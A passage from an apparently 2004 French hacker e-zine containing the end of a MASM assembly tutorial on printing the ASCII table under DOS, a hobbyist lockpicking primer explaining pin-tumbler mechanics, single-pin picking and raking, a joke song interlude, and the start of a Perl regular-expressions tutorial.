et pour 23nWpHvCQqZ32 ( seul les plus l33t saurons dcrypter  le  mot  secret ) 
vos programmes assembleurs. Je vous suggre d'utiliser mASM qui a t dvelopp 
par microsoft (dception) car il est simple d'utilisation  et fait trs bien la 
job pour commencer. 

	Ensuite a va vous prendre un diteur de texte pour crire le code. 



2.1.1) SYNTHAXE

Pour compiler un code crit dans un .txt avec masm il suffit d'aller   dans  le
rpertoire o masm et votre code sont situ dans un prompt dos  et  de tapper :
masm "chemin complet vers le code"code.txt. Exemple avec  un  code  qui  serait 
dans le mme dossier que masm :  

c:\MASM> masm code.txt

Si tout va bien le compilateur va afficher : 



Microsoft (R) MASM Compatibility Driver
Copyright (C) Microsoft Corp 1993 blablabla

 Invoking: ML.EXE /I. /Zm /c /Ta code.txt

Microsoft (R) blablabla

 Assembling: code.txt

c:\MASM>



Avec aucune erreur le compilateur va retourner  de  lui  mme  au  prompt  dos. 
Remarquez dans le dossier de votre programme que  masm  a  maintenant  cr  le 
fichier obj. C'est ce fichier qu'on doit  maintenant  linker  pour  obtenir  un 
executable. 


Ensuite on link le programme avec link.exe, de la mme facon que masm.


c:\MASM> link code

Microsoft (R) Macro Assembleur blablabla
Copyright (C) Microsoft Corp blablabla

Run File [code.exe]:  on pse sur enter
List File : on pse sur enter
Libraries [.lib] : on pse sur enter
Definitions File : on pse sur enter

c:\MASM>


De retour au prompt dos, l'executable code.exe est maintenant cr. 




2.2 ) COMMANDES DE BASES

Voici quelques commandes de bases. Vous pourrai ensuite les voir en action dans 
la prochaine partie de l'article. 

 
- Les instructions d'affectations : 

MOV a,b   :	a = b
XCHG a,b  :	interchanger la valeur de a et b
PUSH a    : 	mettre a dans la pile
POP a     :	sortir a de la pile

- Les sauts

CMP a,b   :	a - b 
JMP a     :	saut  l'adresse a

Il existe une panoplie de sauts diffrents. Je ne vais pas les numrer tous. 

- Les calculs arithmtiques

ADD a,b   :	a = a+b ( sans retenue )
ADC a,b   :	a = a+b ( avec retenue )
SUB a,b   :	a = a-b ( sans retenue )
SBB a,b   :	a = a-b ( avec retenue )
INC a     :     a = a+1
DEC a     :     a = a-1
NEG a     :     a = -a
MUL a     :     AX = AL  a
DIV a     :     AL = AX / a

- Les oprations logiques

AND a,b   :     a = a et b
OR a,b	  :	a = a ou b

- Les fonctions et interruptions

CALL a    :     appel de la fonction situe  l'adresse a
RET       :     retour de la fonction
INT a     :     appel de l'interruption a
IRET      :     retour de l'interruption


Une interruption est une sorte de fonction dj tablie (oui j'ai menti talleur
en  disant  qu'il  n'avait  aucune  fonction  pr-fabrique)  qui,  selon   les 
paramtres qu'on lui fourni, va effecuter sa tche. Dans la prochaine partie de 
l'article  l'interruption 21 va tre utilise. Vous allez donc mieux comprendre 
la logique des interruptions. 



2.3 ) ANALYSE D'UN CODE SOURCE



-------->8---cut here--->8---------------------


ecran segment
		d db ?
	ecran ends
	pile segment para stack 'pile'
		db 256 dup (0)
	pile ends
	code segment para 'code'
		prog proc far
	
		assume cs:code,es:ecran
		push ds
		mov ax,0
		push ax



		mov ax,0b800h 	
		mov es,ax
		
		mov dh,0	
		mov cl,0	
		mov ch,0	
		
	et1: 	mov dl,dh	
		mov ah,2	
		int 21h		

		inc cl		
		cmp cl,15	
		jnz et2		
	
		mov dl,10	
		mov ah,2
		int 21h
		mov dl,13
		mov ah,2
		int 21h
		mov cl,0	
	
	et2: 	inc dh
		cmp dh,255	
		jnz et1		


		ret

	prog endp
	code ends
	end prog


-------->8---cut here--->8---------------------



Premirement ce programme sert tout simplement  afficher  les  255  caractres 
de la table ASCII nord amricaine que votre pc utilise probablement.  Pour voir 
la  table  des  codes  ASCII,  allez  faire  un tour sur www.asciitable.com  ou 
regardez l'image ASCII.gif disponible dans la version full du zine. 

On va commencer  assume... car ce qui a plus haut  n'est  qu'un  squelette  de 
base  et  n'influence  en  rien  l'action  du programme. Donc on lui dit que le 
segment es va tre l'cran et que cs va tre le code segment (ca sera important 
pour plus tard ). Ensuite l'instruction push sert  pousser un  rgistre ou une 
valeur  dans  la  stack, permettant d'aller la rechercher par la suite. Il faut 
pas oublier que si on push plusieurs valeurs une aprs l'autre, la premire est 
en dessous donc il va falloir aller sortir toutes les autres qu'on a pusher par 
dessus  avant  de pouvoir atteindre celle qu'on veux. Pour aller rechercher une 
valeur stocke dans la pile, on utilise l'instruction pop. exemple : 

push ax
[...]
pop ax

Ensuite vient l'instruction MOV AX,0. MOV sert  tout  simplement   copier  une 
valeur  vers  une  place  quelquonce.  Dans  ce  cas on met la valeur 0 dans le 
rgistre AX.  En  assembleur  chaque  rgistre  peut  tre  utilis  comme  une 
variable. Ensuite on push ax dans la stack.


Ensuite  vient  l'instruction  mov ax,0b800h. Comme  vous  le savez sa  sert   
mettre 0b800 dans le rgistre ax. Le h de la fin veut simplement  dire  que  le 
chiffre est en hexadcimal. 0b800 c'est l'addresse de l'cran  ( WTF !?! ).  En 
assembleur  il existe 2 mode: le mode graphique ou le mode console. L'affichage 
du mode console  commence  l'adresse B800. Le mode graphique est beaucoup plus 
compliqu je ne vais donc pas en parler dans cet article. Pour mieux comprendre 
l'affichage du mode console, essayez l'exercice suivant. 


1- Ouvrez une console dos et entrez dans l'utilitaire debug par la commande : 
   debug
2- Remarquez ce qui est crit en haut de votre console : 
   Microsoft (R) Windows DOS
3- Ensuite allez modifier la valeur du premier caractre de l'affichage,  c'est 
    dire le caractre qui se trouve exactement  l'adresse b800. Pour cel, on 
   utilise  la  commande  "e".  Tappez  donc  "e b800:0000" (adresse : offset). 
   Exemple: 
   
   c:\>debug
   -e b800:0000
   
4- Maintenant trouvez vous un nouveau caractre   afficher, aidez vous avec la 
   table  ASCII.  Il ne faut pas oublier que les chiffres que vous allez entrer 
   vont  tre  considrs comme des chiffres en hexadcimal. Donc pour afficher 
   le caractre 'A' il faudrait choisir le code ASCII 41 ( celui qui reprsente 
   le 'A' en hexa ). Entrez le chiffre. Exemple : 

   c:\>debug
   -e b800:0000
   B800:0000  XX.41

5- Regardez le haut de votre console ou allez vrifier dans la mmoire avec  la 
   commande  d b800:0000. Le  M de microsoft c'est transform avec le caractre 
   de  votre  choix. Vous tes donc aller directement modifier le contenu de la 
   mmoire  l'adresse du dbut de l'affichage console. 


  Aprs  avoir  mi  l'adresse  du  dbut  de l'affichage dans AX, l'instruction 
  suivante  met le rgistre ax dans le segment es, qui est notre cran. On doit 
  passer  par  un intermdiaire ( ax bx cx dx ) pour mettre une adresse dans un 
  segment comme  on  le  fait.  C'est pourquoi on ne met pas directement 0b800h 
  dans es.

  Ensuite  on  initialise  nos  3  rgistres dont on va se servir  0 ( dx high
  level, cx low level et cx high level )

Bon,  l  on  commence  le  vif  du  programme. Et1: agit exactement  comme  un 
GOTO x: dans un batch file. C'est  dire que plus tard dans le programme, si on 
a    refaire  le  traitement qui se trouve dans Et1, alors on peut y retourner 
avec un  jump(expliqu plus tard).  Attention de ne pas confondre ceci avec une 
boucle.

Les trois instructions suivantes vont un peu ensemble.

mov dl,dh	
mov ah,2	
int 21h

On  va  commencer  par  la  fin pour mieux comprendre. int 21h  c'est  pas  une 
dclaration de variable int comme en c. Ca veut dire interruption 21. Le h sert 
encore  dire que c'est en hexadcimal. Bon,  quoi a  sert  un  interruption. 
Chaque interruption fait une fonction dfinie. Pour bien comprendre tout ce que 
l'interruption 21 peut faire il faudrait crire un zine seulement sur ca  alors 
disont  que  en  gros,  l'interruption 21 va prendre le caractre qui se trouve 
dans dl  ( en code ASCII )  et  va l'afficher  l'cran. Mais l'interruption 21 
fait beaucoup  d'autre  chose, c'est pourquoi les int sont diviss en fonction. 
La fonction appele  se trouve dans ah. Donc on peut voir ici que l'interuption 
21 fonction 2 est appele  pour afficher ce qui se trouve dans dl, c'est  dire 
0  car  on  mov  dh  dans  dl,  dh  contenant 0. Donc  la fin de ces 3 lignes, 
l'interuption 21 fonction 2 va afficher le caractre corespondant au code ASCII 
0.


inc cl		
cmp cl,15	
jnz et2	


inc  agit  exactement  comme  ++  en c. il va tout simplement incrmenter  le 
registre de 1. Comme l, cl vallait 0 mais maintenant il vaut 1. 

Ensuite cmp cl,255 va comparer ( cmp = compare ) la valeur dans  le  rgistre 
avec celle  demand.  Ici  il compare la valeur de cl ( qui est 1 ) avec 15. Je 
rapelle  que  l'assembleur  est le language le plus proche du language machine, 
donc il ne faut  pas compliquer les choses. cmp ne fait que comparer 1 rgistre 
avec une valeur.

jnz est  une  catgorie de jump. L'instruction jump sert  sauter  une place 
plus loin mais il existe plusieurs jump. Celui ci, jnz, va sauter  et2  si  la 
comparaison choue. C'est donc dire que cmp cl,15 est faux car cl vaut 1,  donc 
il  va  sauter   et2. Si cl contenait 15, la comparaison aurait russi donc le 
jnz et2 aurait eu aucun effet, il aurait t completement transparent.

Pour  bien  comprendre  je  vais  suivre  le  droulement du programme et non 
dblaterrai tout ce que les lignes font pour rien.

Donc on saute  et2. 

inc dh
cmp dh,255	
jnz et1	

On augmente de 1 la valeur de dh avec inc dh, ensuite on compare dh avec 255, 
si  la rponse est positive on continu mais ici, dh tais rendu  1, la rponse 
est ngative donc le jnz et1 fait son effet et on remonte  et1.

Le  processus  se continu et affiche les code ASCII 0 1 2 3 4 5 6 7 8 9 10 11 
12 13 14 15. Rendu  15, le cmp cl, 15 retourne la valeur vrai pour la premire 
fois, le jnz et2 est donc pas execut et on continu le code.

mov dl,10	
mov ah,2
int 21h
mov dl,13
mov ah,2
int 21h
mov cl,0	

On  met  10  dans  dl, et on execute l'interruption 21 avec la fonction 2. Si 
vous  regarger  dans  la  table  ASCII  vous  aller  constater  que  le code 10 
correspont   une  nouvelle  ligne,  donc  le  programme descend d'une ligne et 
immdiatement aprs  les  3 instructions qui suive sont la mme chose mais avec 
le code ASCII 13, celui-ci signifiant retour de chariot, c'est  dire le retour 
au dbut de la ligne. Ensuite on remet le compteur de colone  0.

Et  le  code  continu   s'xcuter ligne par ligne, c'est  dire qu'on continu 
avec

inc dh
cmp dh,255	
jnz et1
 
[...]

jusqu' ce que dh soit rendu  255. Dans ce cas, jnz et1 ne sera pas execut et 
le programme se termine. 





2.4 ) APPROFONDIR

Maintenant qu'on connait et qu'on comprend le code, il serait intressant  de 
tenter de le modifier. On va commencer par quelque chose de simple. Mettons que 
je dcide de ne pas faire afficher le caractre "p" parce que je trouve que "p" 
c'est laid, comment j'm'y jprend?


Une faon simple de le faire serait de rajouter une condition qui  compare dh 
avec  la  valeur  du  code ASCII du caractre "p" qui est 112 en dcimal et qui 
incrmente  dh  avant  l'affichage si la rponse est positive. Ce qui ferait en 
sorte de ne pas afficher le code ASCII 112. 

	Le nouveau code ressemblerait environ  ceci: 



----------------->8-----cut here------>8-----------------------------------

; [...]

	assume cs:code,es:ecran
		push ds
		mov ax,0
		push ax



		mov ax,0b800h 	
		mov es,ax
		
		mov dh,0	
		mov cl,0	
		mov ch,0	
		
; On rajoute notre nouvelle condition avant l'affichage
	 	
	et0:	cmp dh,112
		jnz et1
		inc dh


	et1:	mov dl,dh
		mov ah,2	
		int 21h		

		inc cl		
		cmp cl,15	
		jnz et2		
	
		mov dl,10	
		mov ah,2
		int 21h
		mov dl,13
		mov ah,2
		int 21h
		mov cl,0	
	

; Et on update le jump ici

	et2: 	inc dh
		cmp dh,255	
		jnz et0		




; [...]



----------------->8-----cut here------>8-----------------------------------




2.5 )  CONCLUSION

C'est fini pour le moment. Pour avoir plus de documentation sur l'assembleur, 
je vous invite  copy/paster ca dans votre browser : 
http://www.google.ca/search?q=programmation%20assembleur

.----------------------------------------------- - - --- - ---
| Sp1d3r   [linux_sucker at hotmail dot com] www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -





                        ,----,                   ,----,
                       /   || \                 /   || \
M                     /    ||  \               /    ||  \
A                    /      ||  \             /      ||  \ 
Y                   /       ||   \           /       ||   \                |
                   /        ||    \         /        ||    \              \|/
T                 /          ||    \       /          ||    \            --o--
H                /           ||     \     /           ||     \            /|\
E               /\           ||      \   /\           ||      \            |
               |  \\          ||    //\ |  \\          ||    //\
B              |    \\        ||   //  \|    \\        ||   //  \
A              |      \\      ||  //    |      \\      ||  //    \
N               \       \\    |,-----,   \       \\    || //      \
D                \        \\  /       \   \        \\  ||//        \
W                 \         \/         \   \         \\||/          \
I                  \        /-,         \  /\          ||            \
D                   \      | / \        --/  \        //||           |
T                    \     |/___|            _\      // ||\\         |  
H                     \    |\   |       ____/| \    //  ||  \\       |
                       \  //\\_/        /   /   \  //   ||    \\    /
B                       \//  \         /\\ /     \//    ||      \\ /
E                        \    \_______/   /       \     ||        /
                          \     ||       /         \     ||      /
W                          \    ||      /           \    ||     /
I                           \   ||     /             \   ||    /
T                            \  ||    /               \  ||   /
H                             \______/                 \_____/  

U         The news mkd-101-fighter, hunting the stupidity trough the galaxy, bringing
S         light, lazer and big gun to complete his mission. 





    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__

|           mkd.12  Le lockpicking et la scurit dans le monde rel
:                              aka 'ya un trou dans ta serrure'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |



-= Introduction =-
-------------------

Depuis  que  l'homme  accumule  des biens, celui-i cherche donc   ce  que  le 
rsultat  de  ses  labeurs  soit  protg  des  regards indiscrets et des mains 
malveillantes. Les premiers cadenas voient leur  apparition  au  dbut de l're 
gyptienne et font toujours parti de notre quotidien en ce monde d'aujourd'hui. 
Leur  utilisation  est capitale et le chaos rgnerait si, du jour au lendemain, 
leur utilit serait nglige. Toutefois, sont-ils vraiment scuritaire?  Est-ce 
qu'une serrure est plus un outil de dissuasion psychologique qu'une  mesure  de 
scurit relle?


-= Mise en garde =-
--------------------

Le  lockpicking, contrairement  ce que plusieurs peuvent croire, n'est pas une 
technique  propice    commettre  un  vol. Le lockpicking est un casse-tte, un 
hobby, un passe-tmps. C'est l'art d'ouvrir  une  serrure  sans l'endommager et 
sans utiliser la clef d'origine. Parfois, certaines serrures sont trs facile  
ouvrir;  dans  d'autres cas, elles sont extrmement difficiles. Afin de devenir 
un  matre  dans  l'art  du  lockpicking,  il  vous  faudra  plusieurs   annes 
d'exprience  afin  de  matriser  les  outils  de  faon  efficace.   Certains 
''padlocks'' m'ont pris plus de 1 mois  lockpicker, d'autres de  marque  Abloy 
que  j'ai  simplement  jamais russi, tandis que si j'avais pris une pince pour 
couper l'arceau, je l'aurais probablement ''ouvert'' en moins d'une seconde. Si 
vous  voulez commettre un crime, ce que je dsapprouve  part entire, alors la 
force brute  est  votre  amie car j'imagine que le temps est primordial dans ce 
type  d'oprations.  Le  lockpicking  n'est pas alors une solution  envisager. 
C'est d'ailleurs pourquoi lorsque vous vous tes fait voler quelque chose  dans 
votre  vie, c'tait par une porte dfonce ou par un cadenas coup; les voleurs 
veulent pas se casser la tte pendant des heures afin d'avoir vos biens. Ce ft 
le  cas  de  mon  beau vlo :-( Les lockpickers s'intressent seulement qu' la 
serrure,  ils  se  balancent  bien de ce que la serrure peut bien garder. Il ne 
faut  pas  faire  un  lien  entre un voleur et un lockpicker, c'est deux mondes 
COMPLTEMENT diffrents. Je tiens d'ailleurs  prendre l'occasion de  m'exclure 
de  toute  responsabilit  d'acte(s)  perptr(s)  par  des  imbciles liant le 
lockpicking expliqu dans ce texte  toute criminalit, quelle qu'elle soit.


-= Les outils =-
----------------

Dans les films hollywoodiens, lorsque vous voyez James Bond ouvrir une serrure, 
il  entre  un truc dans celle-i et voil elle est ouverte. Cela est apell une 
clef.  Pour  faire  du  lockpicking,  vous  avez besoin d'au moins 2 outils. Le 
premier, qui est  mon avis le plus important, est le ''tension wrench''  (voir 
tension.gif) ou en franais, l'outil de tension. C'est ce qui permet de tourner 
la  plug,  le cylindre  lui-mme  de  la  serrure. Le second outil est ce qu'on 
apelle  un  pick  (voir picks.gif).  Il  y existe plusieurs sortes de picks qui 
viennent  de  diffrentes  formes.  Les  2  picks  les  plus  communs  sont les 
''rakers'', en forme de vagues, et les ''fellers'' qui ressemblent   un  doigt 
pour  venir  lever les pins une aprs une. Vous pouvez acheter sur internet des 
picksets qui sont des tuis qui contiennent plusieurs tensions wrench et picks. 
Il  y  existe des modles pour dbutant  4 tensions wrench et 10 picks et vous 
pouvez  monter    des picksets qui contiennent des centaines d'accessoires. Un 
petit  pickset  de  marque  SouthOrd,  14 morceaux   40$CDN incluant les frais 
transport    partir  des  tat-Unis,  est  l'idal  pour  les dbutants et les 
intermdiaires  car  de toute manire, les picksets plus volumineux ont souvent 
les  mmes  outils  de  base qui reviennent 2 ou 3 fois :/ N'achetez pas ds le 
dbut  un  gros  kit  car  premirement,  vous savez pas si vous allez avoir la 
patience et la dextrit de faire du  lockpicking et en second, ce qui arrive  
tous,  vous  allez briser vos outils, c'est invitable. C'est trs difficile au 
dbut  de  savoir  le bon niveau de tension  appliquer au cylindre, vous allez 
donc  plier  vos  outils  de tension. Donc commencez cheap et une fois que vous 
avez maitris la technique  vous pouvez changer de pickset vers un kit des plus 
complet.

Pour  l'obtention  de ces outils, oui ils sont lgaux au Canada.  Veuillez lire 
le paragraphe i-dessous tir du Code Criminel du Canada disponible  l'adresse 
suivante: 

http://lois.justice.gc.ca/fr/c-46/19051.html

- Possession d'outils de cambriolage

351. (1) Est  coupable  d'un  acte  criminel  et  passible  d'un emprisonnement 
maximal de dix ans quiconque, sans excuse lgitime dont la preuve lui  incombe, 
a en s a possession un instrument pouvant servir  pntrer par effraction dans 
un endroit,  un vhicule  moteur, une chambre-forte ou un coffre-fort dans des 
circonstances  qui  donnent raisonnablement lieu de conclure que l'instrument a 
t utilis, est destin ou a t destin  tre utilis  cette fin.

Bref,  l'important  dans  cette  ligne  sont  les  derniers  propos ' 'dans des 
circonstances qui donnent  raisonnablement  lieu de conclure que l'instrument a 
t  utilis,  est  destin  ou a  t destin  tre utilis  cette fin.'' Le 
lockpicking  est  en  soi 1 00% lgal si il est pratiqu de faon honnte, tout 
comme  les outils qui si sont rattach. C'est lgal tant et aussi longtemps que 
l'utilisation  des  outils  restent  dans  une  optique de lockpicking, soit de 
hobby,  de  casse-tte,  ou  simplement  pour  les serruriers qui utilisent ses 
outils pour travailler de faon honnte. 


-= Comment cela fonctionne =-
-----------------------------

Il y existe plusieurs types de cadenas, plusieurs  marques, plusieurs prix donc 
diffrent  niveaux de scurit. Toutefois, il arrive  maintes reprises que les 
cadenas  les  plus  gros  soient  en  ralit  les plus facile  lockpicker. La 
grosseur  de  la  base,  de  l'arceau,  bref  du c adenas lui-mme est d'aucune 
importance par rapport  son niveau de scurit car les lockpickers ciblent que 
la  serrure  (ou  une autre faille dans le mcanisme de rtention de l'arceau). 
Donc un cadenas trs volumineux et trs lourd est probablement efficace  contre 
les  voleurs  no-brainers  qui  utilisent  des  pinces et des scies, mais si la 
serrure elle-mme est de pitre qualit, elle sera trs facile  ouvrir pour un 
lockpicker.  Je  vais aujourd'hui focuser sur les cadenas de type ''padlocks'', 
ces  fameux cadenas que l'on voit simplement partout; un padlock sont ceux avec 
un  arceau  en ''U'' dans le haut, la serrure trs souvent oriente vers le bas 
(voir  image  lock1.jpg).  Pour  un  lockpicker,  ces  cadenas  sont simplement 
fantastique    ouvrir  car ils font un beau ''click'' une fois que le cylindre 
est tourn :)

Une  serrure  fonctionne selon un principe assez simple mais qui demande un peu 
de rflexion, car avant de lockpicker des serrures, il faut  comprendre comment 
elles  fonctionnent.  Les  serrures  conventionnelles ont environs 5 niveaux de 
pins  et  chaque niveau a une top-pin (driver pin) et une bottom-pin (key pin). 
La bottom pin est celle qui touche  la clef lorsque vous insrez celle-i dans 
la serrure. Les 5 (ou parfois plus, desfois moins) niveaux de pins sont pousss 
vers le bas par un ressort qui est plac par dessus la driver pin. Lorsque vous 
insrez  la  clef, vous montez alors la bottom pin et celle-i monte  son tour 
la  top-pin  jusqu'attend que les 5 niveaux de pins soient en ligne droite avec 
le  dessus  du  cylindre de la serrure. On appelle cette zone la ''sheer line'' 
(voir lock2.gif). Les pins, autant la top-pin (driver) que la bottom-pin (key), 
ne  sont  pas  de  la  mme  longueur,  ce  qui  explique  pourquoi  une clef a 
diffrentes hauteurs de coupe.

Pour  les  compagnies  de  serrures, il est presque impossible que les trous du 
cylindre  o  sont  les  5 niveaux de pins soient parfaitement alligns lors de 
leur  cration.  Desfois, les pins elle-mmes sont plus petites que les autres, 
desfois c'est rellement les trous qui sont dsaligns les uns par rapport  aux 
autres (voir lock3.gif). La machine qu'ils utilisent pour faire ses  trous  est 
trs  prcise  mais    cause  des  vibrations  constantes  et du temps, il est 
impossible  pour  eux  de faire les trous 100% align. Mme un dsalignement de 
moins  d'un  millimtre  fait  que le lockpicking classique soit possible. Donc 
l'astuce ce passe ii: Si vous appliquez de la tension dans la serrure dans  le 
sens  horaire  (parfois  anti-horaire, mais plutt rare)  l'aide d'un outil de 
tension, nomm ''tension wrench'', il va y avoir au moins un niveau de pins qui 
va  ''binder''  avant  les autres, ce qui veut dire que si vous levez ce niveau 
avec un feeler pick, vous  allez  sentir plus de rsistance que les niveaux qui 
''binds'' pas. En mettant de la tension dans le cylindre, vous forcez le niveau 
le  plus  dsax    accrocher  contre le cylindre, ce qui fait que vous sentez 
cette rsistance qu'il y a pas sur les autres niveaux de pins. Une fois que  le 
niveau  le  plus  desax  est lev au niveau du sheer line avec un finger pick, 
vous  allez  entendre  un  petit click, le cylindre va tourner lgrement tant 
donn  qu'il  y  a  la  tension horaire de l'outil de tension, et vous venez de 
setter  une  pins  (voir  lock4.gif).  La  top-pin est retenue par le dessus du 
cylindre,  tandis  que  la  bottom  pin  de  ce  niveau, vu qu'elle n'a plus la 
pression du ressort du haut, retombe vers le bas du cylindre par gravit.  Vous 
pouvez  d'ailleurs  sentir  avec  votre  pick  qu'elle  n'a plus la pression du 
ressort contrairement aux autres niveaux. Vous venez de setter une pin. Il vous 
en  reste  donc  4,  et ainsi de suite. Cette technique est celle dont tout les 
lockpickers  jurent  car  elle  demande  beaucoup  d'exprience  et  elle   est 
rellement  amusante  car  on  sait  combien de pins il reste avant d'ouvrir le 
cadenas.  Une  fois  le  dernier  niveau  de pins est sett, la plug (cylindre) 
tourne compltement et le cadenas ouvre.

Une  seconde  technique  pour ouvrir les padlocks est d'utiliser le ''racking'' 
avec un pick en forme de vague ou en forme de scie (voir picks.gif). Le racking 
demande  moins  d'exprience  que  la mthode manuelle explique i-dessus mais 
permet  souvent  d'ouvrir  trs  rapidement  une  serrure. C'est une trs bonne 
technique  pour  dbuter et personnellement, j'essaie toujours le racking avant 
la  mthode  manuelle  car  elle  peut sauver beaucoup de temps. Le racking est 
simple:  si  vous  mettez  un  peu de tension dans votre cylindre  l'aide d'un 
tension  wrench  et que vous passez trs vite en dessous de tout les niveaux de 
pins avec un pick en forme de vague et en les levant vers le haut, vous  pouvez 
setter  les  top  pins  sans  mme  vous  souciez  de laquelle bind en premier. 
Quelques  coups  de  racking  suffisent  souvent    ouvrir  un  padlock   trs 
rapidement. Desfois un seul coup avec un mouvement circulaire du tension wrench 
continu  et  bien perptr parvient  ouvrir le cadenas. Toutefois, tant donn 
que vous faites un mouvement horizontal rapide en dessous des bottoms pins vers 
le  top du cylindre, vous venez gratigner les pins et le top du cylindre, donc 
vous  laissez  des marques, des traces l o normalement une clef en laisserait 
pas.  Vous  laissez  aussi  de  la poussire mtallique (microscopique) dans le 
cadenas  car  le  racking est nul autre qu'un frottement, donc le pick en mtal 
s'ffrite contre les pins en mtal, trs lgrement certes, mais s'ffrite tout 
de  mme.  Les  forces  de  l'ordre  savent  ce genre d'astuces et peuvent donc 
facilement identifier si une serrure a t ''racke''  l'aide d'analyses.

-= Conclusion =-
-----------------

Voii les deux techniques de base  du  lockpicking.  Les  images utilises sont 
tires  en  grande  partie  de  l'excellent  guide  de  lockpicking  disponible 
gratuitement sur Internet nomm le ''MIT Guide to Lock Picking'' crit  par Ted 
''the Tool'' en 1991. Malgr  ses  13 ans, ce guide est encore LA rfrence car 
les constructeurs de cadenas utilisent encore les mmes procds de fabrication 
que  durant  les 50  dernires annes; en autant que les clefs standards seront 
utilises,  ce  guide  sera  valide.  Il  est  extrmement  complet et c'est un 
''must read'' pour  tout  les  lockpickers  qui  dbutent  ou  comme  outil  de 
rfrence pour les plus expriments. J'ai cr un petit vido (voir htppl.avi) 
pour  mon  ami  Gasg  du  #2600ca  afin de lui montrer qu'un padlock Master #5, 
malgr  sa  taille  et  son  poids  relativement  imposant,  est  trs facile  
lockpicker.

Conseils rcapitulatifs: 
       1) Commence avec un petit kit!
			 2) Relaxe sur la tension avec le wrench, tu blockes les pins et  tu  vas 
			    plier ton outil!
       3) Comme tout hobby, pour tre bon il faut pratiquer, encore et encore!
			 4) Quand  un  padlock  te tient tte, prends pas les nerfs! Laisse-le de 
			    ct,  prends-en  un  plus  simple, ouvre-le et a te mettera dans le 
			    ''beat'' pour l'affronter de nouveau! *(I KNOW I CAN DO IT!)*

Greetings: JPal ''ayoye mon string'', Gasg, Vric ''Buy it now'', Wyzeman, Northox et la clique gniale de Mindkind.
- Hacktoad
27/07/2004
-------------------------------------------------------------------------------------------------

.----------------------------------------------- - - --- - ---
| Hacktoad   [secret mail] www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -


Pour ceux qui pensaient que nous sommes saints d'esprit, dsol.

< bgsound = http://thefucksociety.com/bananaphone.mp3 >

  Ding-a-ling-ling-ling-ling-ling-ling-ling!

  Boo-ba-doo-ba-doop!
  Boo-ba-doo-ba-doop!

  Ring ring ring ring ring ring ring banana phone
  Ring ring ring ring ring ring ring banana phone
  I've got this feeling, so appealing,
  for us to set together and sing. Sing!

  [...]

  Ring ring ring ring ring ring ring banana phone
  Boop-boo-ba-doo-ba-doop!
  Ping pong ping pong ping pong ping panana phone
  It's no bolagna, it aint a phony!
  My cellular bananular phone!

  Banana phone, ring ring ring!
  (It's a phone with appeal!)
  Banana phone, ring ring ring!
  (Now you can have your phone and eat it too!)
  Banana phone, ring ring ring!
  (This song drives me, Bananas!)
  Banana phone, ring ring ring!

  Boo-ba-doo-ba-doop-doop-doop!

> LOOP UNTIL YOUR HEAD EXPLOZE
  http://www.thefucksociety.com/anim.php?id=bananaphone&w=550&h=400

> Records d'coute en loop de bananaphone.mp3 :
  - 4h30 min / WM
  - 3h15 min / LC
  - 2h / IN
  - 1h / G4
  - 1h / MF
  - ?? / ??



    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__

|           mkd.13  Perl :  la conqute du chameau; Part 5
:                              aka 'Time to really use the force'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |


Nous voici donc rendu dans les restants et coins lugubres de mon tutorial.  En
faite j'ai essay  tout  au long de ce  tuto d'insrer les boutes  "freaks" du
moment, mais  au cours  du temps  (surtout avant  d'crire le dernier pisode)
j'ai ramasser  plein d'affaires  cool, qui  fittait pas  vraiment... Dans  les
affaires cools je parles des regex, qui sont une partie importante  considr
en Perl lorsque vous parsez du texte. En faite, pour tout langage les  Regular
Expression (regex) sont importantes lorsqu'il s'agit de parser quelque  chose.
Aussi, ya plein de fonctions en perl qui servent a manipuler des variables, de
faons  a  ce  que  la  logique  du  programme  revienne  a  autre  chose  que
"J'incrmente mon putain de $i pour avancer dans un tableau".

Bon   sans   plus   tarder   voici  le  topo   sur   les   regex,  suivit   de
certaines fonctions cool qui nous rende  la vie facile et la comprhension  du
code impossible par ceux qui les connaissent pas ;-)


Regex

Pour ceux  qui savent  pas pentoute  c'est quoi  les regex,  bien pauvre  vous
autres vous  avez une  petite longueur  d'avance   rattraper.. Je  suggre de
regarder egrep  dans unix,  mais attention  Perl marche  pas exactement  comme
egrep.. Dans tout  les cas je  crois que vous  allez pouvoir vous  dbrouiller
juste avec le tuto ici.. je vais partir du dbut.

Les regex servent a matcher du  texte selon des patterns que vous  dfinissez.
En gros l'engine de regex parse le texte pour vous et tante de trouver ce  que
vous lui avez  demand. Tout plein  de caractres spciaux  sont donc utiliser
pour faire des  contraintes. Donc principalement,  ce que vous  avez besoin de
savoir, c'est de comment utiliser ces caractres spciaux, et quel texte  vous
voulez matcher. On va suppos que vous tes pas trop vedge et que vous  pouvez
savoir ce que vous voulez chercher. Bon ok; pour les stoned : Chercher le  mot
"meuh" dans la phrase "allo meuh"... *sigh*

Pour les courageux et ceux qui veulent venir les plus leets au monde avec  les
regex (surtout  si vous  saviez pas  c'tait quoi  avant la,  pis que la c'est
rendu  votre  nouveau trip  depuis  2 paragraphes)  je  vous conseil  de  lire
Mastering Regular Expression  dans la collection  O'Reilly (les 2  hiboux). Ya
pas plus complet  que a, et  a porte pas  juste sur le  Perl.. mais bien les
regex en gnral, avec bien sur, Perl en premier plan.

Bon nous  allons donc  commencer avec  le dbut  du commencement  de la chose,
savoir si un mot  existe dans une phrase,  strstr pour les C/PHP  freaks. Perl
(voulant faire  sa tte  comme d'habitude) propose une syntaxe  spciale, qui
est toute sauf un call a une fonction :
$a =~ /meuh/;
Permet de savoir si l'occurrence "meuh" apparat dans $a, en faite a retourne
de koi qui peut tre interprt comme un true/false:
if ($a =~ /meuh/) {
	print "jai trouv meuh!";
}
